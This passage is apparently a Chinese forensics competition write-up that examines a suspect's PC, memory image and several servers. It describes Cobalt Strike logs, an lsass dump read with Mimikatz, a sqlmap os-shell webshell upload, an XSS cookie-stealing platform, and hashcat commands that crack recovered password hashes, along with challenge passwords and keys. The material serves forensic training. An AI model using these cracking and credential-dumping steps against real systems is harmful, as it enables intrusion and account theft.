对 result 中的 msg 进行 base64 解码, 得到的是一个 xml 文件. 其中记录了数据库配置信息:
23.接上题, 吴某成功提权使用到的工具名¶
SweetPotato
在 offline
目录中的 runCommand.json
中可以看到通过 WebShell 执行的指令.
可以看到以下关键信息:
网站根目录被上传了一堆提权工具.
提权前用户组和用户名为 iis apppool\aa
.
系统信息:
使用 SweetPotato
提权成功, 获取了 SYSTEM
权限的 cmd:
24.吴某在电脑上使用 Cobalt Strike 生成了⼀个木马, 该木马的 MD5 值¶
f3ca69fa60bea34883da3274fd9603f9
电脑上又找到了一堆 Cobalt Strike
:
桌面上有一个 CS 的快捷方式, 指向的是 D:\PentestTools\ExploitationTools\Exploit Framework\CobaltStrike4.4
中的 CS.
但是生成的被控端不在 CS 的目录下, 懒得找了, 直接杀毒软件启动:
找到了, 在 Resource Hacker 的文件夹里, 图标被修改成微信了:
25.吴某在电脑上进行了内网渗透, Socks5 协议跳板代理服务器的 IP 以及端口¶
57.233.98.29:37761
电脑上有一堆代理工具. 桌面上有个 Proxifier, 根据之前的经验, 从桌面上找应该没错, 安装在 PC.E01/Software/Proxifier
, 数据目录在 %APPDATA%
里面.
\PC.E01\System\Users\Administrator\AppData\Roaming\Proxifier4\Profiles\Default.ppx
是默认配置, 如果电脑上装有 Proxifier 的话可以直接导入:
或者看文件内容:
26.吴某在对目标进行信息收集时发现了⼀些 Webpack 等前端打包工具所构造的网站, 使用特定工具对其进行信息收集, 该工具共输出多少个网站的报告¶
5
全盘搜索 Webpack, 可以看到搜索结果集中在 2 个路径中:
但都在 node_modules
目录下, 都是程序使用的 NodeJS 模块, 与题目无关.
在 D 盘的渗透测试工具包里看到有 Packer-Fuzzer
, 是用来收集前端打包信息的工具:
在最近访问的项目中也可以看到用户访问了 report
目录下的文件:
可以看到一共生成了 5 个站点的报告:
27.吴某使用远程登录工具登录了⼀台远程 Windows 主机, 其 IP 地址¶
206.238.220.147
电脑上安装有 PRemoteM
, 在应用程序目录 \PC.E01\Software\PentestTools\Network\PRemoteM_2
中的数据库 PRemoteM.db
中存储有远程主机的配置信息:
28.吴某拖回了某台机器的 lsass
进程的内存, 该机器的开机密码¶
uiLbnts7pQsC
lsass.exe
是 Windows 平台用于管理用户认证等功能的组件. 可以由 CS 获取, 但从内存中提取密钥需要使用 Mimiktz
.
全盘搜索后, 找到 Mimikatz
的二进制文件:
在 PC.E01/Software/PentestTools/framvuln/mimikatz_trunk/x64
目录下找到了被 dump 出来的内存映像 mm.dmp
:
导出后用自己电脑里的 Mimikatz
跑一下.
KeePass 解密¶
查看一下 KeePass 的版本 >= 2.54, 没有内存泄漏的 BUG, 不用考虑内存提取了.
试着用 HashCat 爆 KeePass 的密钥, 6 位以下数字和 1w6 的弱口令没爆出来. 最后从内存里提取了长度在 6 至 32 的字符串, 用来当字典爆破, 也没爆出来.
在 Enigma 的聊天记录中看到关于讨论 Excel 文件密码的消息, 但连接早就失效了. 连接有效期只有 24 小时, 所以当时打比赛的时候也已经过期了. 这个平台能上传的是文件, 所以考虑到会不会电脑上保存着当时上传的文件, 但也没找到.
也是爆破了 6 位以下数字, 没有找到密码. 由于没有给出密码格式的提示, 不可能是要爆破的.
暂时放弃了. 如果有看到这里的师傅找到了 Excel 文件的密码, 请邮箱联系我!
29.户籍是⿊⻰江省的受害人总数¶
Excel 文件位于第 11 题提及到的容器 fortress
里面. 因为没有找到 Excel 文件的密码, 这部分题目都无法完成.
30.受害人住址地跟户籍地不在⼀个省份的总数¶
31.受害人年纪在 25 岁以下和 60 岁以上总数是(以比赛当天 2024 年 6 月 6 日为准)¶
32.住址在四川的受害人余额总计¶
33.男性受害人总数¶
34.注册时间在 2024 年 1 ⽉ 1 号到 2024 年 4 ⽉ 1 号的受害人总数¶
内存分析¶
1.给出进程"别点我.exe"的进程 ID¶
2872
vol3 的 windows.pslist
插件:
输出有一个进程名是乱码, 是题目中提到的进程:
2.FTK Imager的程序版本号¶
4.7.1.2
FTK Imager 的 PID 是 11988:
用 vol3 的 windows.pslist
插件导出 FTK Imager 的文件:
3.给出向日葵使用时, 计算机内网的 IP 地址¶
192.168.217.172
用 vol3 的 windows.netscan
插件查看进程的网络状态:
VPN 服务器¶
参考
VPN.E01
.
仿真起来, 看看网络配置信息和 ssh 端口:
连上之后在 root
目录发现有国际版宝塔面板的安装脚本.
bt 14
获取宝塔面板信息:
bt 5
修改面板密码:
登陆面板, 看到运行着 2 个 PHP 站点:
查看 Nginx 的站点 URL 配置:
1.网站 http://192.168.11.89
在网站根目录存在源码泄露的位置¶
在 /home
目录中看到有渗透测试工具:
在 dirsearch
的目录中看到扫描报告, 其中包含对题目中网址的扫描报告:
查看报告内容, 在 _manage__24-05-21_07-05-15.txt
中搜索 200
, 发现网站目录中存在源码压缩包 www.zip
.
2.在网站根目录存在源码泄露的网站¶
192.168.11.5
直接在报告文件夹里全局搜索 200
.
在 http_192.168.11.5/_24-05-21_07-53-18.txt
中看到存在目录穿越. 包含网站源码备份 www.zip
.
3.⿊客使用 os-shell 写入文件上传内容的文件名¶
tmpbitns.php
os-shell
是 sqlmap 的功能, /home
目录下就有 sqlmap, 去看看.
在 sqlmap 目录下看到了 2 个原本不属于 sqlmap 的文件:
在 1.txt
中看到了攻击时的请求:
在 touzlic
文件夹中存储的完整日志中可以看到攻击者通过报错注入得到了数据库名(touzi
), 数据库管理员用户名(touzi1.txt
& touzi2.txt
), 并且上传了 webshell(touzilic3.txt
).
上传文件 tmpumqvm.php
的部分:
作用是将 16 进制串解码为文件, 存储为 c:/phpstuty/www/tmpumsoo.php
, 上传文件的内容:
文件的作用是一个不受 php 上传目录限制的文件上传页面, 可以将文件上传到非上传目录中. 接着利用该文件上传了 webshell:
上述过程为 sqlmap 执行 os-shell 时的操作, 最终实际获得的 webshell 是 tmpbitns.php
.
4.正在使用的 XSS 平台用 IP 运行的端口¶
192.168.11.188
服务器上运行的网站 website.com
就是 XSS 平台, 网站根目录中的 README.md
是平台的使用说明.
查看 Nginx 的配置信息就能看到 IP 地址.
5.正在使用的 XSS 平台的管理员密码¶
admin123
查看数据库内容, 在数据库 website
中的表 oc_user
中存储着用户信息, 包含用户名和密码的哈希.
哈希为 5f66a846c5b983b16eb09c3c393b5d9e
, 在 cmd5 能查询到, 但是条付费记录. 既然能查到, 说明大概率是个弱口令.
在平台的源代码里可以看到平台是基于 OldCMS 开发的, 在 source/function.php
中可以看到使用的哈希函数为 md5('OldCMS|'.pwd)
:
直接去 HashCat 跑弱口令字典爆一下: hashcat.exe -m 0 -a 7 "5f66a846c5b983b16eb09c3c393b5d9e" "OldCMS|" .\dict\password-attacks\top6000.txt
6.正在使用的 XSS 平台中接受到哪个网站的管理员的 cookie¶
jinsha.abc
查看数据库内容, 在数据库 website
中的表 oc_project_content
中存储着获取到的 Cookie 信息:
重建服务需要修改几处配置:
- Nginx 配置
- 网站根目录中的
config.php
中的 IP 地址
之后在宝塔面板中重启 web 服务器即可.
7.获取到权限的目标机器的管理员 NTLM¶
32ed87bdb5fdc5e9cba88547376818d4
在 /home
目录中也有 CobaltStrike, 查看其日志文件. 在 beacon_837294754.log
:
8.从获取到权限的目标机器上下载了哪个文件¶
config.php
接上题, 在 downloads.log
中:
可以看到从 C:\Users\Administrator\Desktop\WWW\WWW\common\config\
目录下载了 config.php
.
9.在获取到权限的目标机器成功创建的用户名¶
leon
在日志 beacon_837294754.log
中可以看到创建新用户并将其添加进管理员组的指令:
创建的用户名为 leon
且为隐藏用户.
10.代理软件登录的端口¶
58294
查看系统运行的进程树:
发现有在运行 Sing-box 和 SUI.
查看 Sing-box 的服务信息:
查看 SUI 的服务信息:
可以看到 Sing-box 的代理端口是 tcp/udp 的 41369, SUI 的 web 服务运行在 58294 端口.
SUI 的配置信息存储在 /usr/local/s-ui/db
中.
11.代理软件中的代理端口¶
41369
见上题.
12.这台机器中的 Cobalt Strike 服务端使用的端口¶
59837
TeamServer 是 CS 的 CLI 程序, Cobalt Strike 是 CS 的 GUI 程序, 在服务器上启动需要直接运行 TeamServer.
启动一下看看:
网盘服务器¶
参考
存储服务器\Server.dd
.
服务器还是仿真起来.
还是需要修改一下 sshd 的配置, 把 ChallengeAuthentication 开启.
查看一下进程树, 发现有 Dockerd 和 Containerd 在运行, 服务器上应该有 Docker 容器在运行:
有几个容器在运行:
装个 portainer
看起来方便一点:
docker pull docker.m.daocloud.io/portainer/portainer-ce:latest
docker run -d \
-p 8000:8000 \
-p 9000:9000 \
--name portainer \
--restart=always \
-v /var/run/docker.sock:/var/run/docker.sock \
-v portainer_data:/data \
docker.m.daocloud.io/portainer/portainer-ce
此外, 本机上还运行了一个 Alist
网盘服务, Alist
的运行状态:
1.吴某购买的 RackNerd 服务器的详情 ID¶
it-tools
容器内是一个导航页面, 映射到机器的 80 端口. 其中包含了一个到 RackNerd 控制台的链接, 根据连接中的参数, ID 应该为 331979.
2.共有几个提供 web 服务的端口¶
5
Docker 容器映射到本机的端口有 5005
, 80
, 3001
和 5344
, 此外还有一个 Alist
使用的 5244 端口.
3.admin 用户加密密码的盐值¶
w4XKqQfHI89zdMXb
需要登录的网站之一运行在 Docker 容器 uptime-kuma
的服务, 找到容器挂载的卷, 位于 /var/lib/docker/volumes/uptime-kuma
, 用户信息存储在 kuma.db
中, 密码哈希是 $2a$10$A1uikR1M8trohKNRg24ojew8pl2WXi9Rq7NriLHHInB33RIoLAxYa
.
另外一个需要登录的网站是运行在本机上的 Alist
服务器, 程序目录为 /opt/alist
. 其中的 data
文件夹中存储着数据库 data.db
, 表 x_users
中记录着密码的哈希及 Salt:
4.服务器存活监控应用的 admin 用户密码¶
admin888
服务器存活监控应用的 uptime-kuma
, admin 用户的哈希是 $2a$10$A1uikR1M8trohKNRg24ojew8pl2WXi9Rq7NriLHHInB33RIoLAxYa
, 其格式符合 bcrypt($2*$*$
), 尝试用 HashCat 爆破.
命令行: .\hashcat.exe -m 3200 -a 0 '$2a$10$A1uikR1M8trohKNRg24ojew8pl2WXi9Rq7NriLHHInB33RIoLAxYa' .\dict\password-attack\top19576.txt
.
5.服务器存活监控应用中监控的论坛网址¶
参考第 3 题中数据库, 表 monitor
中存储了关于论坛 https://breachforums.is/
的信息:
或者使用上题中获得的账户信息登录服务:
6.服务器存活监控应用中使用的代理端口¶
7890
接上题, 在表 proxy
中:
或者在服务的设置页面中查看:
7.服务器存活监控应用中用来推送的 SendKey¶
SCT36712MKSYUBEO7flBN7F05lwjxlb6f
在数据库中:
在应用的设置中:
8.用来加密网盘中压缩文件的加密算法¶
rc4
网盘服务是 Alist
, 而有一个 Docker 容器的名称为 alist-encrypt
.
进入容器内 Shell, 在这里看到了 Alist 服务的密码和使用的加密算法:
还看到了一个挂载的 WebDAV 的密码信息:
9.用来加密网盘中压缩文件的加密密码¶
rNj39Yj_R*MV
见上题.
网站服务器¶
参考
源码商城服务器\Server.dd
.
仿真一下, 服务器网络信息:
登录之后, 在 root
目录下看到一个 bak.py
, 内容是备份数据库, 其中包含了数据库 yourcode_xyz
用户的信息:
install.sh
是宝塔面板的安装脚本.
pstree
查看服务器进程, 宝塔面板在运行:
bt 14
查看面板信息:
然后 bt 5
修改面板密码.
尝试访问, 发现有域名访问限制:
bt 12
取消域名绑定限制即可正常访问.
面板中运行了一个网站:
1.数据库的 root 密码¶
1700fc6617b3c73d
宝塔面板中有一个数据库:
可以直接查看数据库的 root 用户的密码:
为了后面做题方便, 我直接顺手改成 123456
了.
2.嫌疑人预留的 QQ 号码¶
6666666
修改一下 Nginx 的配置, 给站点网址添加 ip 地址:
重启一下 Nginx 服务就可以访问网站了, 管理员登录页面是 http://<IP>:<Port>/admin
.
phpMyAdmin 连上数据库, 看到管理员的用户信息:
密码是 bcrypt 的哈希. 重新生成一个
登录之后看到后台页面:
在后台商品管理页面可以看到商品中的购买提示, 其中包含 QQ 号:
3.吴某预留的 tg 群组账号¶
在仪表盘上可以看到一个 TG 群组链接:
4.源码交易平台⼀共提供了多少支付通道¶
16
在后台的支付配置中, 可以看到一共有 18 条, 其中 2 条处于禁用状态:
5.当前服务器交易记录中, 已完成的订单数量¶
3
在订单列表中可以看到 4 条订单, 其中 1 条状态是已过期, 3 条状态是已完成:
6.5 ⽉ 21 日期间, 使用优惠码下单购买的产品中, 买家填写的邮箱地址¶
接上题, 后台订单信息中在 5 月 21 日没有使用了优惠码的订单信息, 可能是被删除了.
联系到之前看到的数据库备份用的 bak.py
猜测可能是备份了数据库. 在 /www/backup/database
目录下找到了备份的数据库. history 没有记录 HashCat 爆弱口令没爆出来.
数据库引擎用的是 InnoDB, 在 /www/server/data
目录下有 ib_logfile
:
数据库版本是 5.6.50
, 这个版本的 ib_logfile
刚好超过了 innodb_ruby
支持的最高版本. 所以没办法直接从 ib_logfile
恢复, 但可以 16 进制编辑器硬看.
就在我准备 010 启动的时候, 突然想起来, sql 的 dump 文件长啥样来着的, 好像文件开头有贼长一段注释. 但很怪, 用了 pkcrack
, bkcrack
, ARCHPR
都没能成功攻击. 而且 pkcrack 的提示很奇怪, 以前从来没见过:
查了好久资料都没有发现问题在哪儿, 最后在只用前 16 Bytes 作为已知明文时攻击才成功:
如果直接看 ib_logfile 的话, 最好还是先在日志里匹配一下邮箱地址:
去重之后:
优先去看数据库里没有的几个邮箱地址, 这些数据一定是被删除掉的. 结果是在缓存在数据库里, 传递给 Redis 的数据中找到了一个记录, 看起来是订单完成后与发送确认订单的邮件:
可以看到总价是 950, 而在数据库中, 人工智能GPT
的价格是 1000, 数据库中只有 1 个优惠 50 元的优惠码. 该订单使用了优惠码.
7.吴某通过即时通讯和买家联系后, 买家下单的源码成交金额¶
450
聊天内容在电脑的 Enigma 的聊天记录中:
和后台订单页面的显示一致: